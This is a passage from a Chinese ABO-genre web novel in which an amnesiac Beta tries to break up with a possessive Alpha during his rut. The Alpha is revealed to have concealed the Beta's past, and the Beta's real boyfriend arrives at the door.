“她也还不知道我们的关系,我不会和老师提起这件事的,更不会让她误会。” Beta耐心解释,也诚心道谢。 “这些天来,真的很感谢你的照顾。” 男人看起来更沉默了一分。 “我伤已经养得差不多,正好你易感期也结束了。” 黎白榆还开始谈起了之后。 “现在分开对我们都好,我会早点订机票,回学校,你也可以专心自己的工作。” “我回去后也会继续帮你的瞳片配药的,这个不用担心。” Beta说得条理清晰,贴心仔细。但Alpha却好像完全没听到。 等严野客终是开口,却问:“为什么分手?” 黎白榆眸光轻动,眼睫微眨,如碎金色的日光落在湛蓝海面。 “因为这段关系……本来就不应该开始。抱歉。” 严野客:“……” Alpha像被他说动,无言反驳。 黎白榆也没有就此为止,而是很诚恳地继续剖析自己的过错。 “你不喜欢我,我强行要求本来就不合适,而且——” 严野客突然问:“你为什么觉得我不喜欢你?” 黎白榆怔了一下:“不是吗?” “你一直不喜欢被我碰,在近距离或者开门看到我的时候,也会明显地顿一下,表现出不适来……” 严野客:“………………” 男人没说话,青筋都悉数浮显出来了。 而且还远不止裸现在外的一处。 严野客突然起身,一步走到Beta的面前,黎白榆被他霍然的动作所惊到,微茫地抬眼望过去,反射性地向后让开了一点。 但黎白榆的身后就是沙发靠背,单人的座椅让他根本无处可退。 而他的面前,高大悍利的严野客倏然俯身,抬臂按住了被困在自己身下的人。 竟是直接垂头来吻。 “……唔?!” 黎白榆根本没想到对方会这么做,他下意识地抬手去挡,掌心正好隔在亲下来的男人唇边。 而严野客却好像早就知道他会这么反应,非但没有被打断的不满,反而用高挺到硌人的鼻骨蹭抵着Beta皙白的指腹。 一面又低眸盯看着人,悉数落吻。 就这样亲吻着黎白榆微张的掌心,和指根。 薄而冷的啄吻好像都生生亲碰出了暧昧的响声,黎白榆从没有过这种经历,他本能地想躲,可是手掌向后退,却就是自己的唇。 压覆在他身上的男人,也正一瞬不瞬地凝睇着他。 倘若黎白榆真的把手拿开,被亲到的,就是—— 黎白榆甚至荒诞地无法去怀疑,他已经确定严野客一定会亲下来。 这和黎白榆以往的认知截然不同,甚至是将其完全推翻。 他从来不知道原来严野客根本不讨厌自己的接触,也从来不知道…… 自己的手指,居然都会这么敏.感。 温软的掌心被细密亲吻,连指根少于见光的细.嫩薄肉都被Alpha悉数碰贴,不留一寸遗缺。 黎白榆自己的鼻尖也被严野客的鼻骨蹭抵过,紧密地像是昵切厮磨。 甚至就连Alpha冷银镜架上的凉意,都传到了黎白榆的眉梢眼廓。 这幅并没有调节视力功用的眼镜,此时却也仿佛成了严野客的延伸。 在替主人将他的眼睫亲吻。 紧密而近切的亲吻让两人的气息都生出促急,毫无准备的Beta更是被吻得惊诧。 黎白榆的眼睛本就比常人的水光更盛,还不止一次地被人误会戴过美瞳。 此时他的眼眸睫根,更在轻促的喘.息中染上了濡润的湿漉。 “不……严、唔——!” 而近在咫尺的男人低眸看他,墨色的冷瞳隐去了翻涌的腥红。 直到双眸水意更潮的Beta勉强开口,抗拒出声,严野客才终于将将停下了自己突然的凶吻。 他冷淡地,依旧用那副无澜的寒峻眉眼看着黎白榆,问。 “如果你觉得我不喜欢被你碰,不应该更以此来报复我么?” “多碰我,才能让我不舒服。” “……?” 黎白榆气息未平,听到这话更是诧异地睁圆了眼睛。 他根本没听明白。 ……这是什么逻辑? 胸口深浅起伏,黎白榆试图让身前的男人将自己放开。 可是即使不提体力殊异,两人的身形也有着太过明显的差异。 养伤这段时间,黎白榆又实在清瘦。 Alpha的一只手掌,甚至直接整个握住了他曲起的手肘。 黎白榆挣扎了一下,就意识到根本不可能凭自己的力气将对方推开。 他的气息也并未平复,只能带着湿哑的尾音开口,试图和对方讲道理。 “我知道,是我不对……最开始,就不该强迫你。” 黎白榆努力地想要表明自己的诚恳态度。 “我们应该分开。现在也是时候了……” “你强迫我?” Alpha用极缓的语速重复了一遍黎白榆的语气,脸上的神情冷极反笑。 那种罕见的,古怪的情绪波澜,是黎白榆从严野客身上的从未曾见。 他本以为自己出院后和对方同住了这么长时间,看惯了Alpha的冷脸,偶尔也能将对方细微的神情解读明白。 可是现在,黎白榆才发现。 他对严野客的情绪其实真的不能算了解。 素来冷淡的男人,气质却很沉稳肃正,有着一种让人心安的可靠感。 可是此时,Alpha英俊而熟悉的眉眼之间,却浮现出一种黎白榆全然陌生的、晦暗薄凉的阴郁森然。 严野客的嗓音也喑哑到了极点。 “那现在是你强迫完了我,又想始乱终弃?” 第 23 章 023 ……始乱终弃?? 黎白榆的脸颊旁“砰”地冒出两个更惊讶的炸毛问号, 完全没想到对方会理解成这样。 可是即使被Alpha的逻辑所惊诧,黎白榆也能清晰听出对方此时的不悦。 更不要说,他还被人用如此近的距离逼视着, 几乎被俯身下来的男人抵住了前额。 “……”Beta一瞬哑然。他削瘦的喉结微动,轻声,“……是我的错。” 黎白榆的目光本能地偏挪开了一寸,没和人争辩, 却是在认错。 但盯察着他的Alpha却没有收敛一点自己的视线。 男人声线凉薄沉缓, 每个咬字都再清晰不过。 “你为什么想抛弃我?” “不是这样……”黎白榆试图解释。 他的认错并不是因为承认了“抛弃”, 而是觉得一切事端都是因自己的“强迫”而起。 ——但现在,Alpha却好像更在意他所说的分开。 没等黎白榆把分手的事说得更清楚, 严野客忽又开口。 “躲避碰触是我易感期的反应, 不是不喜欢你, 是怕你不喜欢。” 黎白榆反射性地循声抬睫,就见身前的Alpha依然盯着他,目不转睛。 “不想让你觉得我太冰。” 严野客的声音低而缓,听不出多少情绪,像只是在做最客观的冷静阐明。 “易感期我就会体温变低, 会冷得很明显。” 黎白榆没想到还会有这种情况。 他最初一直以为这是因为Alpha的情绪问题。 而面前俯身压困着他的男人垂眼, 被睫毛覆住了眼梢。 严野客的眉弓立挺而高, 被光线投下的阴影原本总会带着冷厉的黑沉,但此时竟是有了一分难以言明的低落。 “但我还是失败了, 是么?” 明明是黎白榆被他压着, 动弹不得, 但仿佛真正委屈的人,却是这个Alpha。 “你发现了,然后嫌弃我太冷, 对吗?我知道我没有温暖的怀抱可以让你喜欢,眼睛也有伤,看着就吓人,一直是另类。” 一向少言寡语的严野客突然如此,倾露出一长串,仿若这是他早已隐忍太久的肺腑之言。 “我早该清楚的……你不可能接受我这种人。” “……没有——” 黎白榆试图解开这个误会,想说自己完全没有嫌弃。 “我整个身体都是冷的。” 只是Alpha的话还在继续。 “体温低代表是易感期,越低,就代表越兴奋。” 严野客偏头,用鼻骨蹭了蹭黎白榆还抬在唇畔的指尖。 “你碰我的时候,不是总被冰到么?” 黎白榆的确没想过会有这种情况,他的研究部分内容与信息素相关,却也从没见过这种案例。 而严野客的话,也让Beta不由得联想到了另一种生物。 蛇。 Alpha体温低,又有血色的眼睛,看起来似乎真的有一分像蛇。 那他冬天会因为体温太低……在易感期休眠吗? 黎白榆的思维习惯性地发散,横七竖八地浮想到了许多。 他还觉得蛇这种生物虽然冰冷沉郁,但也有很多人喜欢,爱它们的强悍神秘。 黎白榆还想劝严野客,既然如此,你这样的肯定也会有人很喜欢,不需要否定自己—— 但直到被冰凉冷硬的鼻骨轻轻抵蹭指尖,Beta才突然惊觉似的反应过来。 “你……你的易感期不是已经结束了吗?” 刚刚因为被严野客接近得太突然,黎白榆惊讶之下并没有察觉。 又或者说,是Alpha刚才还没那么冷,没有这样冰冷到兴奋—— 黎白榆这时才意识到,身上男人的体温明显不像是正常情况。 Beta薄金色的眼睫微动,眼眸明显睁圆,像突然被蛇缠紧的鸟雀。 “刚才你自己也说,已经没事……” “嗯。” 贴着他的男人低应了一声。 “我易感期的时长也和别人不一样,会比其他人久。还会提前。” 在极近的距离里,Alpha的眼眸也已经看不出冷冰,反而比他的体温更平静。 “被你嫌弃,也很正常。” “不是,”黎白榆觉得这个误会不能再继续下去了,“我没有嫌弃。” “你的体温应该就是受信息素影响,毕竟易感期前都很正常。这种激素影响的症状其实很常见,并不是另类,你不用这么想。” 青年被困陷在柔软的沙发里,还在平稳着音调,努力给人解释。 完全没注意到,明明是他被压逼,却反而成了安慰人的那一个。 “你易感期第一天不是去做检查了吗?检查报告里并没有写这种受激症状会影响正常的机体功能和神经调节,那这就不是什么大问题——” 但是被他安慰的Alpha眉峰微微压低,却好像并不是被安抚到的反应。 “你只是嘴上这么说。” 男人嗓音冷津津的。 “你都不肯继续强迫我了。” 黎白榆:“……” 黎白榆开始发现,对方逐渐变得像个典型的身陷易感期的Alpha。 尽管严野客说自己不喜欢失控,不会被易感期影响,但他此刻的表现却如此明显,任性黏人,胡搅蛮缠。 总之不可能把咬在嘴里的目标松开。 等恢复正常之后——严野客还会记得这一段吗? 黎白榆有点无法确定。 虽然临床表明,AO情热期的信息素不会影响其大脑记忆区,但如果信息素剂量过大、浓度过高,情况可能就不太好说了。 黎白榆记得听衣明诀吐槽过——不是因为八卦,实在是衣明诀的研究方向,见过的极端病例太多了——一些Alpha易感期跟狗似的,啃人啃上了头,什么老婆、宝宝,张口就乱叫,别人靠近一点都开始护食。 等易感期一过,他们又知道捡回自己扔下的脸皮了。 脸一扳就开始说,什么“发作期间的事,我不记得了”、“你这么算计我,还敢肖想什么?”、“那只是治病,不是爱情”。 “傻X。” 衣明诀发了个鲜明加粗、用大喇叭喊出的二字表情包。 他说这么纯种的奇葩,现在的九块九短剧都不愿意拍了。 但眼下——黎白榆看了看眼前冷冰冰的Alpha,有点拿不准,现在还适不适合和对方进行太正式的讨论。 不过,黎白榆还没开口,就见近在咫尺的男人微微眯了眯眼睛。 “别敷衍我。” 他冷冰的气息直接拂落在Beta的掌心里。 ……好吧。黎白榆心想。 对方可能真的和那些Alpha不一样,毕竟是体检报告里信息素相关页得到全项平稳评价的人——他看起来真的和平时没太大区别。 依然是那种敏锐到吓人的感觉。 黎白榆试着把自己还挡在唇畔的手轻轻前挪了一下,将身前的Alpha稍稍推远了一分。 为了让两个人都能更方便地说话。 “所以……”黎白榆轻声问,“你的易感期时长究竟是多少天?” 他的举动幅度并不算大,却被Alpha立刻发现了。 严野客虽然没有立即动作,却就这样维持着紧贴人掌心的姿势,开口回答。 连沉低的声音都有些微微发闷。 “不知道。” 他说。 “我没被抛弃前,易感期没这么长。” 黎白榆:“………” 从来都自持,端重,疏淡的严肃男人。 现在却带着几分难以捉摸的……幽怨。 Beta觉得易感期的对方好像有点更难说服了,他只能给人顺毛。 “真的没有抛弃,我之前不知道……对不起,我忘记太多了。” 黎白榆还不合时宜地联想到,蛇好像没有毛。 那现在自己算是……顺鳞? 青年脑海里浮现出一只Q版细长的银色小蛇,红眼睛,表情冷冰冰,但在矜持地被一只手指小心翼翼地抚顺着圆脑袋。 黎白榆被那个画面可爱到了一下,温声细语地尝试跟人商量。 “我们可不可以坐下来谈?” 这个姿势久了,Alpha肯定也会累。 严野客看着他,却没有退后。 “坐不开。” 黎白榆坐的是单人沙发椅,两个人确实可能坐不开。 但他的本意是旁边就有大沙发。可没等黎白榆开口,就听男人面无表情问。 “你要坐我吗?” “…………” 黎白榆差点被自己的口水呛了一下。 没有Q版小蛇,可能只有会一口把人吞吃的大巨蟒。 “旁边可以坐……” Beta说着,刚要起身想让人坐去旁边,却见Alpha忽然眉心微蹙。 男人冷凉的身体也一瞬紧绷了起来,就像是被碰到了什么伤处一样。 黎白榆被惊了一下:“怎么了?” 他尚在不明所以,却见严野客的呼吸都沉闷了一分,拂在他指根的气息凉而鲜明。 黎白榆看着他,忽然反应了过来。 “……?!” 因为Alpha的离得太近,体温又冰,黎白榆起初其实没意识到那硌顶着自己的东西究竟是什么。 他甚至还以为是沙发椅的冷硬边柱。 可是黎白榆现在才回想起来,这把沙发是真皮全包,根本不可能有这么冰又这么硌人的硬物。 Beta的眉心重重一跳。 他太分心去考虑对方易感期的时长和身体影响,却是最后才惊觉,自己竟然忘了易感期最大的问题。 那种可怕到足以让常人望而生畏,头皮发麻的—— 欲.望。 “你——” 黎白榆的声音都磕绊了一下,相较于他,微微垂眼的Alpha却依然流利淡漠。 “是。” 严野客直接承认了。 “那里也是冷的。” ……所以他在易感期的时候,下面也是冰块? 这么低温不会影响精.子活性吗? 黎白榆胡乱地想,啊,不过好像高温更容易杀.精…… 等等,这不是重点! 黎白榆这么贪凉的人,都不由得被冰得微微哆嗦了一下。他难以想象,要是真有人和这样的Alpha进行…… 呃。 好像是有点难以,难以适应。 没等黎白榆继续乱想,他就听严野客低叹了一声。 那其实不能算叹息,因为甚至听不出什么情绪。 只有低冷的尾音,带出一点不易察觉的嘲讽。 “是吧,我就是这样的怪物。” “不是。” 黎白榆连忙中止他。 “这也没什么大不了,还挺特别的。或许,或许还有人就喜欢你这种——” 严野客抬眸看他,眼带寒星。 “你喜欢吗?” “……” 大脑被过多的信息量冲击,黎白榆觉得哪怕是思维殊异如自己,好像也开始口不择言了。 ……不然他怎么会和人一本正经地讨论这种话题。 不过黎白榆还是诚实道。 “这种事,不会影响我的喜欢。” 虽然和一个易感期的Alpha讨论……生.殖.器的温度,好像是有点窘迫。 但黎白榆并不会觉得这是严野客的错。 因为对方身处易感期,他本就温和的劝慰也会更耐心。 “我没有歧视,也没有不喜……你不需要这样想。” 黎白榆对严野客其实没有恶感,更多是感激,即使被Alpha这样压困着,他也没有不满,没改变这么多天来的对男人的印象。 他一直觉得对方是个面冷心热的好人。 但也正因如此,黎白榆更觉得不能去辜负对方。 “我提的事其实和这些因素都无关,只是因为觉得,我们现在没有感情基础,这样对你不公平。” 无论失忆前的事端,还是失忆后的现在。 严野客依旧用那双黑沉沉的眼睛看着他,被掌心半掩着薄唇,没有说话。 但黎白榆居然猜到了他想说什么。 ——抛弃我公平吗? 黎白榆用另一只手抬高,伸过去,安抚地拍了拍对方的肩背。 却好像被Alpha理解成了拥抱。 下一秒,他就被严野客拦腰结结实实地搂抱住了。 黎白榆当真体验到了一点被巨蟒缠围的紧缚感,感觉自己像颗非常可口的鸟蛋。 不过,不知是不是那个被误解的拥抱起了作用,在黎白榆费尽九牛二虎之力的努力下,Alpha终于勉强答应,挪到旁边的双人沙发上落座。 条件是,黎白榆也要挪过去。 严野客看起来似乎的确还可以商量,并未丢失理智。两人一同坐去双人沙发上,他就坐在黎白榆的身旁,很近地贴着Beta。 让大沙发坐起来感觉也没有变得很宽敞。 黎白榆确认自己当真是误会了,严野客的确没有不喜欢被碰。 他也和男人阐明了自己觉得两人不合适的根本原因。 “你是Alpha,我是Beta,而且我们都是男人,我们确实不适合在一起。” 严野客望着他,虽然没像刚刚那样缠抱上来,但依然还是那种盯人的态度。 “你不喜欢Alpha吗?” 黎白榆摇头:“不关乎喜欢,是这样没办法走到一起。” 他说的语气很平静,近乎笃定。 “强扭的瓜不甜,没有结局的感情,也没必要强行。” 还有件事,同样非常现实。 “而且你是Alpha,这么厉害,易感期也需要合适的人来一起度过,会更安稳。” “你可以去找更能安抚你的Omega……唔?!” 只是这话还没说完,原本看起来已经冷静的Alpha却突然抬手,压过去抱住了他。 在黎白榆微惊的目光中,严野客冷盯着他,一字一句。 “你还是想抛弃我,甩给别人。” “……?” 黎白榆发现这件事好像是Alpha的逆鳞,他一点都听不得。 听到就会自动翻译成被抛弃。 “我没有这个意思——” Beta的话没说话,忽然有铃声响起。 黎白榆下意识地摸了一下,发现不是自己的手机。 听声音传来的方向,是严野客的。 但Alpha却并没有接,甚至没有放开一点,依然冷视眈眈地看着黎白榆,跟他探讨抛弃的事。 “那你还提第三者?” 这哪里有第三者的事? 黎白榆想着,又忍不住被铃声所分心。 那电话没有被接起,却一直没放弃,始终存在感十足地响着。 即使被严野客在衣兜中直接掐断,两秒之后,铃声却又再度响了起来。 “你先接一下?”黎白榆和人商量。 严野客冷漠:“不接。” “可能有重要的事……” “没有事比我们重要。” 说完,严野客停了一秒,还补充。 “第三者也不行。” 黎白榆无奈,轻轻拍拍他。 “可能是快递,或者关老师……” 严野客看着他,这时才伸手去拿电话。 不可能是快递,即使送菜的保镖或助理,也都知道他的习惯。 不会敢在他挂断后还主动打这么久的电话。 严野客拿出手机,扫了一眼,就把铃声再度掐断了。 “骚扰电话。” 他说得冷漠断然,屏幕上刚才显现的,也的确是一串未备注的数字。 但被Alpha抱得太近的黎白榆同样瞥见了那串数字。 青年愣了愣。 “……这是李景煦的号码?” 黎白榆不解:“他为什么会给你打电话?” 严野客眉峰压下来,脸色看起来很不爽。 “你记得他的号码?” “他是很重要的人吗?” 黎白榆:“……” 黎白榆:“我也记得你的。” 于是Beta把严野客的手机号背了一遍。 他开始逐渐寻找到一些能和易感期的对方交谈的思路和方法。 背完,黎白榆没忘记自己刚才的问题。 “他怎么给你打……啊,是打我电话没打通吗?” 黎白榆这时才回想起来,自己的手机没在这里,好像之前被忘在卧室了。 “我去拿我的手机——” 青年想起身,而Alpha手里的铃声已经再度响了起来。 严野客完全没松手,就这样圈着黎白榆一放不肯放,干脆把电话接了起来。 “严大少。” 手机里传来的,果然是李景煦的声音。 被这样一打断,原本要去起身的黎白榆也停了停,听着通话里说。 “白榆在你那里,是吗?” 李景煦的声音听起来和之前并没有什么两样,语气也还算是礼貌。 “可以让他接个电话吗?我一直打不通他的号码。” 相比之下,严野客却完全只有漠然。 “你打错了。” 而且刚说完这句,Alpha抬手就要挂端。 态度之冷,惹得黎白榆都有些惊讶。 Beta正要制止时,却听见电话里,李景煦扬高的声音也明显冷了下来。 “你真的想让我报警吗?” “我不想闹到那种地步,非法限制人身自由属于刑事案件。” 在黎白榆面前一直开朗明快的李景煦,此时却是在严词警告。 “你进去了没关系,但这样对白榆不好。” “他没必要在遭受噩梦之后,再经历这种问询。” 什么限制,噩梦……刑事? 手机在Alpha的耳边,黎白榆其实听不太清楚全部的内容。 但只是这些零星的字眼,也足以让他愕然。 黎白榆诧异地看向严野客,却见Alpha眉眼冷漠,微微偏头,贴在黎白榆清瘦的手背。 似乎在用这种肌肤相贴,来让自己维持冷静。 Beta下意识想开口,却被男人伸来的手指按住了唇。 他试图想把自己的手抽回来,去推开,手掌却被人贴得更紧了,根本抽不出来。 两人在通话的这边形成了短暂的一瞬无声,而那一边,李景煦还在要求严野客立刻放人。 “我从港城入关的问题也是你搞的鬼,对吧?我现在已经到了粤城,你不可能再违法嚣张下去——” 严野客终于开口,语气却是极冷。 “别再来骚扰他。” “是谁在骚扰他?!” 原本还能勉强维持平静的李景煦,好像被他这一句话直接给气毛了。 “严野客!我才是白榆的男朋友!” 李景煦怒极的声音太大,连不在手机旁近的黎白榆都听得清清楚楚,彻底愣住。 ……? 他说的是什么意思? 但刚说完这话的李景煦,却直接被严野客挂断了电话。 通话戛然而止,突然安静的空间有着一瞬空拍的阒寂。 黎白榆愣愣地抬眼看向还抱着他的Alpha,话语都有些难以询问清晰。 “他说的……你和他……?” 对方已经收回了按在他唇上的手,也稳稳地收起了手机。 神情看起来,却是出奇的平和冷静,波澜未惊。 如果不是相贴的体温依然如此凉冰,严野客看起来甚至完全不像是还在易感期,更像是往日一样的沉稳持重。 可是男人缓缓抬眸,墨色沉暗的双眼看向黎白榆,嗓音里却好像带着隐匿太久太深的晦暗腥意。 更带一分怨尤的委屈。 “你说,你不喜欢Alpha,不可能走到一起。” “——那为什么他可以,我不行?” 第 24 章 024 “……” 黎白榆听得愕然, 却也直接从这句话中抓到了重点。 “……所以,他才是我的男朋友。” Beta的话甚至不是疑问,而是陈述。 是对方的反应让他听懂了。 不然, 严野客不会问“为什么他可以”。 但对此时黎白榆的话,严野客却并不赞同。 “他算什么男朋友?” “你住院他不来,你醒了他不问。还跑去八竿子打不着的港城,没头苍蝇似的瞎逛那么久。” 少言的Alpha说起这种事来, 倒是毫不惜字吝啬。 “你好不容易康复了, 刚有两天安静的生活, 他这时候却突然跑来造谣,离间我们的关系。” “……” 黎白榆听得沉默。 见对方吐槽这么多, 他却是越听越觉得李景煦这个“男朋友”像真的了。 直到严野客说完, 黎白榆才开口, 顺着他的那句话,问。 “那我们,是什么关系?” Alpha看着他,俊冷的面容严肃且认真。 “是真爱。” 黎白榆:“……” 青年微微蹙起了眉,他现在还被对方圈抱着, 腰侧都被紧实的手臂箍揽住, 退后不得。 但在黎白榆皱紧眉心之前, Alpha却垂眸,终于松开了握着黎白榆臂肘的手。 他没再限制黎白榆的动作, 只是自己倾身, 又以侧脸很轻地贴了贴Beta的手背。 那种薄淡微冷的凉意, 着实让人很难生出恶感。 严野客贴着黎白榆清瘦的手背,隔着镜片抬眼望他,墨色的瞳眸和微敛的眼睫, 看起来并没有平日里一贯的冷意威压。 反而只有沉静的平和。 “我喜欢你。” Alpha说。 “你也喜欢我。” ? 黎白榆刚想说话,却见掌边人垂眼,低声说。 “至少喜欢我的身体。” 黎白榆:“…………” 他不禁开始怀疑自己实在大意,居然没察觉严野客有多么敏锐——自己之前的“渣男”想法,可能都被Alpha给看透了。 无论是好感严野客的厨艺,还是偏好他的……身体。 但这次,黎白榆把自己的手收回来,Alpha并没有再像之前那样不肯放开。 男人只是稍稍垂低了眉廓,微抿起薄唇。 明明仍旧是英俊寒峭的面容,此时却偏生让人看出了一分失落。 “白榆,”严野客低声问,“失忆前的事,你想起了多少?” 黎白榆缓缓吸了口气,声音清冽而平静。 “你告诉了我多少?” Beta的想法素来有些迥然旁人的清奇,所以他的思路其实也很难被带偏。 看问题,总能精准地盯到核心关键。 黎白榆抬起了自己的右臂,用雪白的绷带向人略一示意。 他已经猜到,包括这个,恐怕也不是自己为了强迫Alpha而造成的。 “为什么会想要瞒着我,不告诉我真相?” 严野客低眸:“因为你没回忆到的,都是不值得你想起的东西。” 说完,停了一秒,他还补充。 “包括李景煦。” 黎白榆:“……” 在得知了李景煦的身份之后,黎白榆也终于知道严野客为什么会这样针对他了。 但Beta心里,其实也有些怪异。 因为黎白榆并没有觉得自己对李景煦这个人,有什么格外特殊的感觉。 更不要说,是什么被阻拦已久、终于浮出水面的真挚感情。 虽然还没想起过往和李景煦的具体交集,但黎白榆对他整体的大致印象,就和对衣明诀差不多。 要知道,黎白榆在和蔺空山聊过后,可是明显有感觉到过自己内心对蔺空山的亲近。 但李景煦给他的印象,却并不如蔺空山这样亲近。 更像是一位日常有交集的朋友,或是同学。 所以对李景煦所说的,是自己男朋友一事。 黎白榆也还持保留态度。 而眼下,黎白榆也没再和人绕弯。 他直接道:“我希望你可以把失忆前的事和我讲清楚。” Beta停了停,面容端静,轻声说。 “请不要再欺骗我了。” 严野客抬眸看人,看出了黎白榆的认真。 他自然也看出,这是对方给自己的最后一次机会。 所以严野客又低眸看了一眼被Beta收回的手,看着自己刚刚贴过的地方,终是道:“好。” 他还有一句额外的补充。 “但如果你听到哪里觉得不舒服,告诉我,好么?” 黎白榆觉得这话似乎有些古怪,但还是答应了。 “好。” 他回想起麻医生说的,自己之前可能有什么不安或阴影。 可能会让他不舒服的……是这些事么? 而在黎白榆答应后,严野客也果然如约,开始解释。 “你回国,是被家里骗回来的。因为你父亲想强行催你联姻……” Alpha的话刚说到这里,忽然被一段急促的门铃声所打断。 黎白榆微顿,下意识看向窗边。 此时天色已暗,客厅也自动拉上了窗帘,从落地窗已经无法看到外面的庭院和大门。 此时被按响的门铃被安在庭院大门外,按铃的人似乎很急切。 婉转的铃声被反复打断,一直在从最开始的那个音节重叠播送。 甚至因为按铃没被接起,连室外的庭院大门都隐约传来了闷闷的声响。 似乎有人在拼命拍打着那个沉重的铁门。 黎白榆回眸,看向严野客。 Alpha倒是并无意外:“李景煦。” 虽然没去接起,他却好像早知道了答案。 黎白榆问:“你知道他会来?” 严野客:“他说了,现在在粤城。” 黎白榆依然有些疑惑。 因为他和李景煦约定见面的地点并不在这儿,他也没有和对方说起过这里的地址。 不过,想到方才在电话里,李景煦甚至提到过要报警。 或许对方已经通过其他途径,获知了这里的信息。 而严野客眉峰微沉,尽管神情依然没有什么波澜,但内心的不爽也非常确定。 虽然没意外,可李景煦会真的找来,直接砸门。 也有一部分原因,是严野客乍然听到黎白榆说“基本全想起来”,心生躁烦。 才没能彻底地及时阻止这人来上门添乱。 早在李景煦打来电话之前,严野客就知道他已经回到了粤城。 甚至于把对方引回来,在粤城处理,也是严野客的安排。 毕竟李家在港城,到粤城这边,动静会更隐蔽一分。 严野客倒是不在意什么李家,只是他不想引起多余的注意。 ——不想让黎白榆有可能知道、甚至分心给李景煦这个根本不重要的人。 严野客原本打算让这人去不成这次和黎白榆的会面,彻底坐实李景煦的“失约形象”。 但因为突然被Beta摊牌,严野客才没来得及阻止彻底。 可这些事依然不是重点,甚至无关紧要。 严野客在意的,只是目前来看,黎白榆还没有完全想起失忆前的经历。 也没有被那些事影响到心情。 于是,在颇为急切的按铃声里,Alpha却直接叫出了家庭智能的中控,要求把门铃静音。 门铃声停,室内安静了一瞬,窗外沉闷的拍门声也显得更加遥远了一分。 严野客还看着身前人,低声问。 “要继续听我讲吗?之前的经过。” 黎白榆也看他:“你要把李景煦拦在外面?” 他现在已经不怀疑,Alpha真的会这样做了。 但此时的男人却给外平和安分,完全没有要冰冷敌对的模样。 他只说。 “听你的。” “……” 黎白榆浅吸了口气,起身,前去开门。 玄关处的门铃控制器可以直接开启庭院外紧闭的大门,但如果要开眼前房门,还需要拿钥匙或者刷卡才可以。 黎白榆去抽屉里翻出门卡,在去刷智能锁之前,他其实也短暂地有过一个念头。 会不会刷不开? 但事情异常地顺利,智能门锁没有出任何差错,“咔哒”一声,直接就打开了。 门外大步狂奔过来、正要抬手拍门的高大身影,正是李景煦。 失忆后,黎白榆虽然没见过对方本人,但在商学院官网和对方朋友圈见过李景煦的照片,因此一眼就将他认了出来。 而见到Beta,李景煦的神情也从焦灼怒火,变成了明显的惊讶。 “……白榆!” 黎白榆让开门口:“进来聊吧。” 门外有微寒的凉风吹进来,还带着一股湿闷的潮气。 黎白榆这时才发觉,外面不知何时下起了雨。 雨势不急,却很细密。 让在户外拍门许久的李景煦已经差不多被淋成了落汤鸡。 而在见到好端端的黎白榆本人后,李景煦也终于松了口气,气息没再喘得那么急。 他身上还湿着,也没有直接进客厅,就站在了玄关的顶灯下,等黎白榆给他拿来一条毛巾,自己简单擦拭了一下。 李景煦匆忙擦雨水的时候,不远处同样跟过来的严野客眸光沉沉,就这样望着这个不速之客,眉眼冷漠。 黎白榆注意到了男人的神色,不由也望向了身旁的严野客。 他不想让人在见面之后,再发生什么差错或意外。 但在黎白榆望过去之后,严野客就第一时间注意到了他的视线。 男人自己也把目光转了过来,对着黎白榆,面无表情说。 “他把地板弄脏了。” “……” 这话听起来,却感觉似乎不太像预想中的意外。 反而更像是告状。 听见这句话的李景煦顿了顿,下意识看向脚下,就发现光洁柔亮的地板上,的确有两个偌大的湿泞鞋印。 良好的教养让还在擦拭身上水渍的Alpha有些窘迫,他张了张嘴,说。 “我等下会收拾干净。” “不用。”黎白榆道,“我来。” 他正准备去拿墩布,却被身旁的男人拦住。 依然面无表情的严野客,直接叫来了扫地机器人。 圆圆的拖地机清理地板时的确很方便,只是这种智能小家电,也不一定任何时候都很灵敏。 于是,在李景煦刚把雨水擦得差不多,还没抬脚让位置的时候,扫地机器人已经开始了运作。 只不过……不能算特别智能。 “小布开始工作啦!嗡……砰!砰!” 小智障欢快地播放着启动音,开始直接往李景煦的腿上撞。 等结结实实地连撞了好几下之后,还从他的脚背上“咕噜噜”地碾过去了。 ……让人很难不怀疑。 这是不是一种故意。 而黎白榆并没有多想,因为他之前也见过扫地机器人在客厅里自己绕弯打转。 此时他便伸手,把没被识别成障碍物、无辜被撞到的李景煦拉到了一旁。 很快,拖地机就飞快地绕圈清洁水痕、擦完地板,回去了自己原本停放的位置。 黎白榆也早已将自己的手收了回来。 但严野客却还盯着他皙白的指尖,以及刚刚被黎白榆碰过的地方。 那处李景煦的手臂袖角。 Alpha墨色的眸光愈显阴郁。 越看越觉得,这个胳膊上长着的人非常碍眼。 等黎白榆的目光再探寻地落过来时,严野客的话依然毫无客气。 “他还把毛巾弄脏了。” 李景煦:“……” 刚要把半湿毛巾放下的他,顿时僵住了一下。 黎白榆看了一眼严野客,伸手去接毛巾:“那我现在去洗。” 但在他拿到之前,毛巾已经被人中途截走了。 严野客捏着一角,直接把毛巾扔到了不远处的脏衣篓里。 “有洗衣机。” 黎白榆抬手捏了一下秀挺的鼻梁,看着他,问。 “我们可以好好聊一下吗?” 严野客低眸:“好。” 黎白榆轻轻叹了口气,转身,向李景煦致歉。 “不好意思,他在易感期。” Beta本来还有一句,想说“他不是有意针对你”。 但顿了顿,黎白榆又觉得。 ……好像确实是在有意针对。 这安慰的话,实在是没法说出口。 黎白榆也只能换了一句:“给你添麻烦了。” “没……”李景煦明显地语塞了一下,才接道,“没关系。” 但在心底里,李景煦其实却是非常、以及极其地惊愕。 他一开始就没想到,做出了这么多疯狂举动的严野客,居然会像眼前这样。 听黎白榆的话。 现在得知严野客还在易感期,李景煦对这件事就更为惊异了。 一个易感期的、疯执如此的Alpha,居然还能这么安分克制地,听从一个未被他标记——甚至不可能被他标记的Beta的要求。 ……简直令人难以置信。 室内Alpha信息素的味道确实非常浓郁,但应该不久前刚打过抑制剂,因此冲击性暂时没有那么强烈。 李景煦进来得匆忙,又一心关切黎白榆的状况,才没有在第一时间留意到有A在易感期。 但这也更令人狐疑。 怎么都打过抑制剂了,信息素浓度还这么高? 而且,李景煦就读于商学院,他本人也性格开朗,长于社交。 和那么多人打过交道的他,此时也异常敏锐地察觉,并且怀疑。 严野客的找茬,可能是故意的。 不是为了针对自己,而是为了白榆说给自己的话——因为方才Beta说的语气,包括替人向李景煦道歉,听起来其实都非常明显。 ……明显地把外人和身边人区分开了。 只是简单的一句,就能听出黎白榆对谁更亲密。 是在维护谁,又是在对谁礼貌地客气。 李景煦皱眉,看了一眼不远处的严野客。 此时黎白榆已经转身朝客厅走去,而在Beta看不到的地方,两个Alpha的视线有了一瞬短暂的交错。 “………” 被那冷嘲的目光斜睨,李景煦一百分肯定。 严野客就是故意的。 